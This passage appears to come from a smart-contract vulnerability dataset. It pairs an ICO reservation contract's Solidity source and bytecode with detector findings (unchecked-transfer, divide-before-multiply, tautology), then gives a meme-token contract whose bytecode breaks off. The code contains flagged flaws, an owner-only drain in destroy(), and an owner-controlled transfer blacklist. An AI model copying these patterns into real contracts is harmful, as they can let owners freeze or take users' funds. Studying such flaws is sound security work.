https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\ICOStartReservation.sol contract ICOStartSaleInterface { ERC20 public token; } contract ICOStartReservation is Pausable { using SafeMath for uint256; ICOStartSaleInterface public sale; uint256 public cap; uint8 public feePerc; address public manager; mapping(address => uint256) public deposits; uint256 public weiCollected; uint256 public tokensReceived; bool public canceled; bool public paid; event Deposited(address indexed depositor, uint256 amount); event Withdrawn(address indexed beneficiary, uint256 amount); event Paid(uint256 netAmount, uint256 fee); event Canceled(); function ICOStartReservation(ICOStartSaleInterface _sale, uint256 _cap, uint8 _feePerc, address _manager) public { require(_sale != (address(0))); require(_cap != 0); require(_feePerc >= 0); if (_feePerc != 0) { require(_manager != 0x0); } sale = _sale; cap = _cap; feePerc = _feePerc; manager = _manager; } /** * @dev Modifier to make a function callable only when the contract is accepting * deposits. */ modifier whenOpen() { require(isOpen()); _; } /** * @dev Modifier to make a function callable only if the reservation was not canceled. */ modifier whenNotCanceled() { require(!canceled); _; } /** * @dev Modifier to make a function callable only if the reservation was canceled. */ modifier whenCanceled() { require(canceled); _; } /** * @dev Modifier to make a function callable only if the reservation was not yet paid. */ modifier whenNotPaid() { require(!paid); _; } /** * @dev Modifier to make a function callable only if the reservation was paid. */ modifier whenPaid() { require(paid); _; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiCollected >= cap; } /** * @dev A reference to the sale&#39;s token contract. * @return The token contract. */ function getToken() public view returns (ERC20) { return sale.token(); } /** * @dev Modifier to make a function callable only when the contract is accepting * deposits. */ function isOpen() public view returns (bool) { return !paused && !capReached() && !canceled && !paid; } /** * @dev Shortcut for deposit() and claimTokens() functions. * Send 0 to claim, any other value to deposit. */ function () external payable { if (msg.value == 0) { claimTokens(msg.sender); } else { deposit(msg.sender); } } /** * @dev Deposit ethers in the contract keeping track of the sender. * @param _depositor Address performing the purchase */ function deposit(address _depositor) public whenOpen payable { require(_depositor != address(0)); require(weiCollected.add(msg.value) <= cap); deposits[_depositor] = deposits[_depositor].add(msg.value); weiCollected = weiCollected.add(msg.value); emit Deposited(_depositor, msg.value); } /** * @dev Allows the owner to cancel the reservation thus enabling withdraws. * Contract must first be paused so we are sure we are not accepting deposits. */ function cancel() public onlyOwner whenPaused whenNotPaid { canceled = true; } /** * @dev Allows the owner to cancel the reservation thus enabling withdraws. * Contract must first be paused so we are sure we are not accepting deposits. */ function pay() public onlyOwner whenNotCanceled { require(weiCollected > 0); uint256 fee; uint256 netAmount; (fee, netAmount) = _getFeeAndNetAmount(weiCollected); require(address(sale).call.value(netAmount)(this)); tokensReceived = getToken().balanceOf(this); if (fee != 0) { manager.transfer(fee); } paid = true; emit Paid(netAmount, fee); } /** * @dev Allows a depositor to withdraw his contribution if the reservation was canceled. */ function withdraw() public whenCanceled { uint256 depositAmount = deposits[msg.sender]; require(depositAmount != 0); deposits[msg.sender] = 0; weiCollected = weiCollected.sub(depositAmount); msg.sender.transfer(depositAmount); emit Withdrawn(msg.sender, depositAmount); } /** * @dev After the reservation is paid, transfers tokens from the contract to the * specified address (which must have deposited ethers earlier). * @param _beneficiary Address that will receive the tokens. */ function claimTokens(address _beneficiary) public whenPaid { require(_beneficiary != address(0)); uint256 depositAmount = deposits[_beneficiary]; if (depositAmount != 0) { uint256 tokens = tokensReceived.mul(depositAmount).div(weiCollected); assert(tokens != 0); deposits[_beneficiary] = 0; getToken().transfer(_beneficiary, tokens); } } /** * @dev Emergency brake. Send all ethers and tokens to the owner. */ function destroy() onlyOwner public { uint256 myTokens = getToken().balanceOf(this); if (myTokens != 0) { getToken().transfer(owner, myTokens); } selfdestruct(owner); } /* * Internal functions */ /** * @dev Returns the current period, or null. */ function _getFeeAndNetAmount(uint256 _grossAmount) internal view returns (uint256 _fee, uint256 _netAmount) { _fee = _grossAmount.div(100).mul(feePerc); _netAmount = _grossAmount.sub(_fee); } }
0x6080604052600436106101195763ffffffff60e060020a6000350416631b9265b8811461013957806321df0da71461014e578063295b4e171461017f578063355274ea146101a857806339b8ce98146101cf5780633bb0cc55146101e45780633ccfd60b146101f95780633f4ba83a1461020e5780633f9942ff1461022357806347535d7b14610238578063481c6a751461024d5780634f935945146102625780635c975abb146102775780636ad1fe021461028c57806383197ef0146102a15780638456cb59146102b65780638da5cb5b146102cb578063df8de3e7146102e0578063ea8a1af014610301578063ef41ea7e14610316578063f2fde38b14610341578063f340fa0114610362578063fc7e286d14610376575b34151561012e5761012933610397565b610137565b610137336104cf565b005b34801561014557600080fd5b506101376105b2565b34801561015a57600080fd5b50610163610763565b60408051600160a060020a039092168252519081900360200190f35b34801561018b57600080fd5b506101946107f3565b604080519115158252519081900360200190f35b3480156101b457600080fd5b506101bd610801565b60408051918252519081900360200190f35b3480156101db57600080fd5b506101bd610807565b3480156101f057600080fd5b506101bd61080d565b34801561020557600080fd5b50610137610813565b34801561021a57600080fd5b506101376108f5565b34801561022f57600080fd5b5061019461096f565b34801561024457600080fd5b50610194610978565b34801561025957600080fd5b506101636109c0565b34801561026e57600080fd5b506101946109d4565b34801561028357600080fd5b506101946109df565b34801561029857600080fd5b506101636109ef565b3480156102ad57600080fd5b506101376109fe565b3480156102c257600080fd5b50610137610b65565b3480156102d757600080fd5b50610163610be4565b3480156102ec57600080fd5b50610137600160a060020a0360043516610397565b34801561030d57600080fd5b50610137610bf3565b34801561032257600080fd5b5061032b610c4a565b6040805160ff9092168252519081900360200190f35b34801561034d57600080fd5b50610137600160a060020a0360043516610c53565b610137600160a060020a03600435166104cf565b34801561038257600080fd5b506101bd600160a060020a0360043516610ceb565b6007546000908190610100900460ff1615156103b257600080fd5b600160a060020a03831615156103c757600080fd5b600160a060020a038316600090815260046020526040902054915081156104ca5761040f60055461040384600654610cfd90919063ffffffff16565b9063ffffffff610d3316565b905080151561041a57fe5b600160a060020a03831660009081526004602052604081205561043b610763565b600160a060020a031663a9059cbb84836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561049d57600080fd5b505af11580156104b1573d6000803e3d6000fd5b505050506040513d60208110156104c757600080fd5b50505b505050565b6104d7610978565b15156104e257600080fd5b600160a060020a03811615156104f757600080fd5b60025460055461050d903463ffffffff610d4a16565b111561051857600080fd5b600160a060020a038116600090815260046020526040902054610541903463ffffffff610d4a16565b600160a060020a03821660009081526004602052604090205560055461056d903463ffffffff610d4a16565b600555604080513481529051600160a060020a038316917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a250565b60008054819033600160a060020a039081169116146105d057600080fd5b60075460ff16156105e057600080fd5b6005546000106105ef57600080fd5b6105fa600554610d59565b60015460408051600160a060020a033081168252915194965092945016918391602080820192600092909190829003018185875af192505050151561063e57600080fd5b610646610763565b600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156106a057600080fd5b505af11580156106b4573d6000803e3d6000fd5b505050506040513d60208110156106ca57600080fd5b5051600655811561071557600354604051610100909104600160a060020a0316906108fc8415029084906000818181858888f19350505050158015610713573d6000803e3d6000fd5b505b6007805461ff001916610100179055604080518281526020810184905281517fef53713ee4f072f79f4d516084e3f4d15f2cde709d2091235b37ae719c272dd6929181900390910190a15050565b600154604080517ffc0c546a0000000000000000000000000000000000000000000000000000000081529051600092600160a060020a03169163fc0c546a91600480830192602092919082900301818787803b1580156107c257600080fd5b505af11580156107d6573d6000803e3d6000fd5b505050506040513d60208110156107ec57600080fd5b5051905090565b600754610100900460ff1681565b60025481565b60055481565b60065481565b60075460009060ff16151561082757600080fd5b50600160a060020a03331660009081526004602052604090205480151561084d57600080fd5b600160a060020a033316600090815260046020526040812055600554610879908263ffffffff610d9e16565b600555604051600160a060020a0333169082156108fc029083906000818181858888f193505050501580156108b2573d6000803e3d6000fd5b50604080518281529051600160a060020a033316917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b60005433600160a060020a0390811691161461091057600080fd5b60005460a060020a900460ff16151561092857600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60075460ff1681565b6000805460a060020a900460ff1615801561099857506109966109d4565b155b80156109a7575060075460ff16155b80156109bb5750600754610100900460ff16155b905090565b6003546101009004600160a060020a031681565b600254600554101590565b60005460a060020a900460ff1681565b600154600160a060020a031681565b6000805433600160a060020a03908116911614610a1a57600080fd5b610a22610763565b600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b505050506040513d6020811015610aa657600080fd5b505190508015610b5757610ab8610763565b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018690529051939091169263a9059cbb92604480840193602093929083900390910190829087803b158015610b2a57600080fd5b505af1158015610b3e573d6000803e3d6000fd5b505050506040513d6020811015610b5457600080fd5b50505b600054600160a060020a0316ff5b60005433600160a060020a03908116911614610b8057600080fd5b60005460a060020a900460ff1615610b9757600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b60005433600160a060020a03908116911614610c0e57600080fd5b60005460a060020a900460ff161515610c2657600080fd5b600754610100900460ff1615610c3b57600080fd5b6007805460ff19166001179055565b60035460ff1681565b60005433600160a060020a03908116911614610c6e57600080fd5b600160a060020a0381161515610c8357600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60046020526000908152604090205481565b600080831515610d105760009150610d2c565b50828202828482811515610d2057fe5b0414610d2857fe5b8091505b5092915050565b6000808284811515610d4157fe5b04949350505050565b600082820183811015610d2857fe5b6003546000908190610d859060ff16610d7985606463ffffffff610d3316565b9063ffffffff610cfd16565b9150610d97838363ffffffff610d9e16565b9050915091565b600082821115610daa57fe5b509003905600a165627a7a72305820bebad553adc0dd766f362e60aab7b89a84d4de445a682c82f2fdc6750dc1364a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,459
0xc21600b6b16bc79fc8b21fa455065f8d8e3fc6e8
/** ⭐️ Baby Shiba Inu *Community Owned* * Fair Launch 2pm PST* ✅ ERC20 ✅ CoinGecko Fast Tracked ✅ 8% Marketing tax ✅ Daily Giveaways Telegram: @BabyShibaInuERC Twitter: @BabyShibaInuERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyShibaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Baby Shiba Inu"; string private constant _symbol = "BabyShiba"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 8; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102fa578063c3c8cd801461031a578063c9567bf91461032f578063d543dbeb14610344578063dd62ed3e1461036457600080fd5b8063715018a61461026b5780638da5cb5b1461028057806395d89b41146102a8578063a9059cbb146102da57600080fd5b8063273123b7116100dc578063273123b7146101d8578063313ce567146101fa5780635932ead1146102165780636fc3eaec1461023657806370a082311461024b57600080fd5b806306fdde0314610119578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600e81526d4261627920536869626120496e7560901b60208201525b60405161015991906119f8565b60405180910390f35b34801561016e57600080fd5b5061018261017d366004611889565b6103aa565b6040519015158152602001610159565b34801561019e57600080fd5b50683635c9adc5dea000005b604051908152602001610159565b3480156101c457600080fd5b506101826101d3366004611849565b6103c1565b3480156101e457600080fd5b506101f86101f33660046117d9565b61042a565b005b34801561020657600080fd5b5060405160098152602001610159565b34801561022257600080fd5b506101f861023136600461197b565b61047e565b34801561024257600080fd5b506101f86104c6565b34801561025757600080fd5b506101aa6102663660046117d9565b6104f3565b34801561027757600080fd5b506101f8610515565b34801561028c57600080fd5b506000546040516001600160a01b039091168152602001610159565b3480156102b457600080fd5b5060408051808201909152600981526842616279536869626160b81b602082015261014c565b3480156102e657600080fd5b506101826102f5366004611889565b610589565b34801561030657600080fd5b506101f86103153660046118b4565b610596565b34801561032657600080fd5b506101f861063a565b34801561033b57600080fd5b506101f8610670565b34801561035057600080fd5b506101f861035f3660046119b3565b610a33565b34801561037057600080fd5b506101aa61037f366004611811565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b7338484610b06565b5060015b92915050565b60006103ce848484610c2a565b610420843361041b85604051806060016040528060288152602001611bc9602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103c565b610b06565b5060019392505050565b6000546001600160a01b0316331461045d5760405162461bcd60e51b815260040161045490611a4b565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a85760405162461bcd60e51b815260040161045490611a4b565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e657600080fd5b476104f081611076565b50565b6001600160a01b0381166000908152600260205260408120546103bb906110fb565b6000546001600160a01b0316331461053f5760405162461bcd60e51b815260040161045490611a4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b7338484610c2a565b6000546001600160a01b031633146105c05760405162461bcd60e51b815260040161045490611a4b565b60005b8151811015610636576001600a60008484815181106105f257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062e81611b5e565b9150506105c3565b5050565b600c546001600160a01b0316336001600160a01b03161461065a57600080fd5b6000610665306104f3565b90506104f08161117f565b6000546001600160a01b0316331461069a5760405162461bcd60e51b815260040161045490611a4b565b600f54600160a01b900460ff16156106f45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610454565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107313082683635c9adc5dea00000610b06565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076a57600080fd5b505afa15801561077e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a291906117f5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ea57600080fd5b505afa1580156107fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082291906117f5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086a57600080fd5b505af115801561087e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a291906117f5565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d2816104f3565b6000806108e76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094a57600080fd5b505af115801561095e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098391906119cb565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fb57600080fd5b505af1158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106369190611997565b6000546001600160a01b03163314610a5d5760405162461bcd60e51b815260040161045490611a4b565b60008111610aad5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610454565b610acb6064610ac5683635c9adc5dea0000084611324565b906113a3565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610454565b6001600160a01b038216610bc95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610454565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610454565b6001600160a01b038216610cf05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610454565b60008111610d525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610454565b6000546001600160a01b03848116911614801590610d7e57506000546001600160a01b03838116911614155b15610fdf57600f54600160b81b900460ff1615610e65576001600160a01b0383163014801590610db757506001600160a01b0382163014155b8015610dd15750600e546001600160a01b03848116911614155b8015610deb5750600e546001600160a01b03838116911614155b15610e6557600e546001600160a01b0316336001600160a01b03161480610e255750600f546001600160a01b0316336001600160a01b0316145b610e655760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610454565b601054811115610e7457600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb657506001600160a01b0382166000908152600a602052604090205460ff16155b610ebf57600080fd5b600f546001600160a01b038481169116148015610eea5750600e546001600160a01b03838116911614155b8015610f0f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f245750600f54600160b81b900460ff165b15610f72576001600160a01b0382166000908152600b60205260409020544211610f4d57600080fd5b610f5842603c611af0565b6001600160a01b0383166000908152600b60205260409020555b6000610f7d306104f3565b600f54909150600160a81b900460ff16158015610fa85750600f546001600160a01b03858116911614155b8015610fbd5750600f54600160b01b900460ff165b15610fdd57610fcb8161117f565b478015610fdb57610fdb47611076565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102157506001600160a01b03831660009081526005602052604090205460ff165b1561102a575060005b611036848484846113e5565b50505050565b600081848411156110605760405162461bcd60e51b815260040161045491906119f8565b50600061106d8486611b47565b95945050505050565b600c546001600160a01b03166108fc6110908360026113a3565b6040518115909202916000818181858888f193505050501580156110b8573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d38360026113a3565b6040518115909202916000818181858888f19350505050158015610636573d6000803e3d6000fd5b60006006548211156111625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610454565b600061116c611411565b905061117883826113a3565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122957600080fd5b505afa15801561123d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126191906117f5565b8160018151811061128257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a89130911684610b06565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e1908590600090869030904290600401611a80565b600060405180830381600087803b1580156112fb57600080f